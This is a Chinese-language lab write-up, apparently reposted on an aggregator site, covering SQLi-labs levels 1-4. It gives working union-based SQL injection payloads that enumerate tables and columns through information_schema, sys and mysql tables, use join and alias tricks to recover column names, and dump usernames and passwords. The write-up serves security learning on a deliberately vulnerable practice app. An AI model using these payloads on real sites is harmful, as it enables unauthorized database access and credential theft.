【安全】Sqllabs(1-4) 多种情况浅析

这篇具有很好参考价值的文章主要介绍了【安全】Sqllabs(1-4) 多种情况浅析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

环境⭐

先要 ⭐⭐⭐⭐⭐

 好东西(替代information_schema)

Less - 1 (information_shcema)

Less - 2 (假设没有information_schema)

Less - 3 (无列名注入)

Less - 4 (后续补充,基于联合注入)


 环境⭐

     MySQL8.0.12

     Nginx1.15.11 

先要 ⭐⭐⭐⭐⭐

 MySQL5.0以上有这几个数据库mysql, sys,information_schema【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

 information_schema:

这个数据库下有两张关键的表,一个是tables,一个是columns

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

 👆这是tables表,会将数据库名(table_schema)与表名(table_name)联立起来,方便查看这个数据库下到底有哪些表

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

 👆这是columns表,这个更齐一点,把字段名(column_name)与表和数据库的关系都对应起来了

但是在爆出表名的时候还是会有些许的问题,因为这个表每个字段都会有对应,所以在查表名的时候表名可能会重复出现多次(具体多少次看这个表有多少个字段)

sys:

    sys.schema_auto_increment_columns:[这个库有局限,只有root才能访问]【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

     sys.x$schema_table_statistics_with_buffer:

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

    sys.x$schema_table_statistics:

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

    sys.x$ps_schema_table_statistics_io【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

 好东西(替代information_schema)

表名

可利用

备注

information_schema.tables

table_name

table_schema

information_schema.columns

table_name

table_schema

column_name

查字段名就行,表名回显不直观

sys.schema_auto_increment_columns

table_name

table_schema

column_name

需要root权限访问

sys.x$schema_table_statistics_with_buffer

table_name

table_shcema

需要root权限访问

sys.x$schema_table_statistics

table_name

table_shcema

需要root权限访问

sys.x$ps_schema_table_statistics_io

table_name

table_schema

需要root权限访问

mysql.innodb_table_stats

table_name

database_name

mysql.innodb_table_index

table_name

database_name

        注:空的是俺暂时没验证或者不知道,不是全部都没有问题哈 

Less - 1 (information_shcema)

分析: 

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

   提示输入id的值

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

   看起来是返回对应序号的用户与密码,构造个payload判断一下是什么类型

 【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

  没报错显然是个字符型 ,那就闭合开始构造

+++++++++++++

注入:

  ①判断字段

【扩展】

        判断字段的方法一:联合查询 union select 1,2,3 --+ (这种方式过于繁琐,一旦遇到字段很多的就坏了,只能一个一个写 写到所有列数为止)

        判断字段的方法二:order by 3 --+  (这种方式推荐使用,原理是用数字来代替字段名,如果没有这一字段就会报错)

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

  ②看显示位   ?id=-1' union select 1,2,3 --+(注意让前面id= -1使前半部分查询失败)

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

   ③看数据库版本与当前数据库  ?id=-1' union select 1,database(),version() --+

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

   ④看当前数据库下有哪些表(先要中详细介绍过了)

?id=-1' union select 1,database(),group_concat(table_name) 
from information_schema.tables where table_schema='security' --+
【注意:group_concat是将查询结果放在一起,这里显示位只显示一个
数值,所以用select是不行的】

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

   ⑤估计关键信息都在users表里了,爆出字段名

?id=-1' union select 1,database(),group_concat(column_name) 
from information_schema.columns where table_name='users' --+

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入     很明显这个username和password就是我们要的东西。

⑥最终payload:(那个0x3a是ASCII码十六进制意思是:拿来当分隔符而已)

?id=-1' union select 1,database(),group_concat(username,0x3a,password) 
from users --+

Less - 2 (假设没有information_schema)

 分析:

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

    看起来和less1差不多,接下来判断一下是字符型还是数字型 

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

    报错了,好样的一看就是数字型那甚至不用 ' 闭合了

注入: 

    和Less1一致,依次看信息最后联合注入即可

①爆字段数 闭合后同Less1

②爆显示位 闭合后同Less1

③爆表名

?id=-1 union select 1,2,group_concat(table_name)
from sys.schema_auto_increment_columns where table_schema=database()--+

//只是举例,先要中sys的三个表在这都可以用

?id=-1 union select 1,2,group_concat(table_name)
from sys.schema_table_statistics_with_buffer where table_schema=database()--+

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

 ④爆字段名【在不用information_schema.columns的情况下】

?id=-1 union select * 
from (select * from users as a join users as b)as c--+
后面那句意思把两张表联立起来作为一张新表c作为外层的from查的表
因为a表和b表其实都是users表,所以会报列名重复的错,但是只会报第一列

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

    目前只能爆出第一列,还需要接着爆

?id=-1 union select * 
from (select * from users as a join users b using(id))c--+

?id=-1 union select * 
from (select * from users as a join users b using(id,username))c--+

?id=-1 union select * 
from (select * from users as a join users b using(id,username,password))c--+

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

 【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

 【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

?id=-1 union select 1,2,group_concat(username,0x3a,password) 
from users --+

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

   Less2与Less1其实只有一个区别就是sql语句是字符型还是数字型,这里只是演示没有information_schema这个数据库的权限的时候查什么。

Less - 3 (无列名注入)

分析:

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

    又是传id

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

    好像和前两个差不多,判断是数字还是字符?id=1 order by 9999 --+

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

    字符型,试着闭合 

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

    提示在第一行的值旁边报错了,那用 ') 闭合一下试试

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

    闭合成功 

注入:

?id=1") order by 3 --+  //字段数

?id=-1') union select 1,2,3 --+   //显示位

?id=-1') union select 1,2,group_concat(table_name) 
from information_schema.tables where table_schema=database() --+
​

    无列名的条件下进行注入 :

        正常查询:

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

         别名联合查询:

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

     所以我们可以在知道表名和列数的情况下,可以直接构造payload了

?id=-1') union select 1,2,group_concat(`2`,':',`3`) 
from (select 1,2,3 union select * from users)as c --+

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

Less - 4 (后续补充,基于联合注入)

分析:

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入     老样子,先传个id

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

    判断字符型or数字型

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

    判断出来是字符型,之后尝试闭合

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

    发现单引号没效果,试试双引号去

【安全】Sqllabs(1-4) 多种情况浅析,sql,数据库,sql注入

    标亮部分是我传的值,说明后边需要一个 ") 来闭合

注入:

    只是闭合方式不同,Less 4就不演示详细过程了

?id=-1") union select 1,2,group_concat(username,0x3a,password) 
from users --+

前四关总结:

        前四关主要使用了基本的联合注入,然后四关的差异主要体现在闭合的方式上,虽然基础,但是还是能让人学到不少东西     

字符型数字型判断参考:http://t.csdn.cn/1PmEI文章来源地址https://www.toymoban.com/news/detail-599763.html

到了这里,关于【安全】Sqllabs(1-4) 多种情况浅析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【数据库 Microsoft SQL Server】实验五 数据库安全性与完整性实验

    一、实验目的 1、掌握数据库的自主存取控制方法,学会使用SQL数据控制语句来进行授权控制和权限回收,理解视图安全机制。 2、掌握数据库的三类完整性约束,定义数据库完整性及违约处理,通过违约操作实验来理解数据库完整性机制。 二、实验环境与实验准备工作 实验

    2024年02月08日
    浏览(31)
  • CloudQuery一体化数据库SQL操作安全管控平台

    💗wei_shuo的个人主页 💫wei_shuo的学习社区 🌐Hello World ! 导读 CloudQuery作为业界领先的面向企业的数据库安全解决方案,CloudQuery致力于打造一站式安全可靠的数据操作平台,旨在帮助企业安全、高效地使用数据库,提升研发与DBA、运维的协作效率,为企业核心数据提供更安全

    2024年02月08日
    浏览(41)
  • 确保你的数据库安全:如何防止SQL注入攻击

    最近,越来越多的组织和公司受到SQL注入攻击的困扰。这种攻击可以导致数据库中的敏感信息泄露,破坏数据完整性,甚至可能导致整个系统崩溃。如果您是一名数据库管理员或网站管理员,您需要了解如何保护您的数据库免受SQL注入攻击的威胁。在本文中,小德将介绍什么

    2024年02月02日
    浏览(43)
  • 五、C#与数据库交互( SQL注入与安全性)

    在C#与数据库交互时,安全性是非常重要的一部分,特别是要防止SQL注入攻击。SQL注入是一种常见的网络攻击手段,攻击者通过在输入字段中注入恶意SQL代码来操纵数据库查询。以下是一些关于如何防止SQL注入的建议: 使用参数化查询 : 这是防止SQL注入的最有效方法。参数化

    2024年02月02日
    浏览(46)
  • 网络安全进阶学习第十二课——SQL手工注入3(Access数据库)

    判断数据库类型 —— 判断表名 —— 判断列名 —— 判断列名长度 —— 查出数据。 asp的网站,常用数据库为access、sqlserver。 and exsits (select * from msysobjects)0 access and exsits (select * from sysobjects)0 sqlserver 上述语句 会返回1或者0 。 msysobjects是access的默认数据库 , sysobjects是sqlserv

    2024年02月11日
    浏览(38)
  • JAVA编码规范:安全规约、mysql数据库_java后端的sql编码规范

    7、【强制】如果存储的字符串长度几乎相等,使用 char定长字符串类型 8、【强制】varchar是可变长字符串,不预先分配存储空间,长度不要超过 5000,如果存储长度大于此值,定义字段类型为 text,独立出来一张 表,用主键来对应,避免影响其它字段索引效率。 9、【强制】表

    2024年04月10日
    浏览(40)
  • 【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。

    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记 本篇博客主要是通过piakchu靶场来讲解如何通过SQL注入漏洞来写入文件,读取文件。通过SQL输入来注入木马来getshell等,讲解了比较详细的过程; 如果想要学习

    2024年02月07日
    浏览(42)
  • idea 中无法连接 sql server 数据库,报错:驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接

    上面的代码报错如下: 在dbURL中把;trustServerCertificate=true加上后就没有报错了 无报错 因为sql server在jdbc连接的时候需要一定的安全验证,只需要在dbURL中把;trustServerCertificate=true加上后令其跳过就行了

    2024年02月12日
    浏览(37)
  • 数据库——多种方法导入Excel数据

    接下来就一直点击NEXT,直到完成 此时EXCEL的数据就被导入进SQL Server了: 这个技巧就是直接使用复制粘贴的方式: 注意:这种方法只适用于添加少量数据,如果是 几十万行 的数据,是无法这样导入的。 如图,我们在Excel当中直接复制数据: 右键PTYPES表,选择编辑前2002行:

    2024年02月04日
    浏览(65)
  • 分布式数据库 Join 查询设计与实现浅析

    相对于单例数据库的查询操作,分布式数据查询会有很多技术难题。 本文记录 Mysql 分库分表 和 Elasticsearch Join 查询的实现思路,了解分布式场景数据处理的设计方案。 文章从常用的关系型数据库 MySQL 的分库分表Join 分析,再到非关系型 ElasticSearch 来分析 Join 实现策略。逐步

    2024年02月08日
    浏览(32)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包